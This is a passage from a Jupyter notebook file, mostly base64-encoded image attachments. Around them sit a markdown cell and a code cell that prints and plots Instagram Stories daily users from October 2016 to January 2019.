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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "![image-2.png](attachment:image-2.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Instagram users stories :\n", + "\n", + " Date (month/year) Daily users_millions\n", + "0 Oct-16 100\n", + "1 Jan-17 150\n", + "2 Apr-17 200\n", + "3 Jun-17 250\n", + "4 Oct-17 300\n", + "5 Jun-18 400\n", + "6 Jan-19 500\n", + "\n", + "Bar Graph : \n" + ] + }, + { + "data": { + "image/png": "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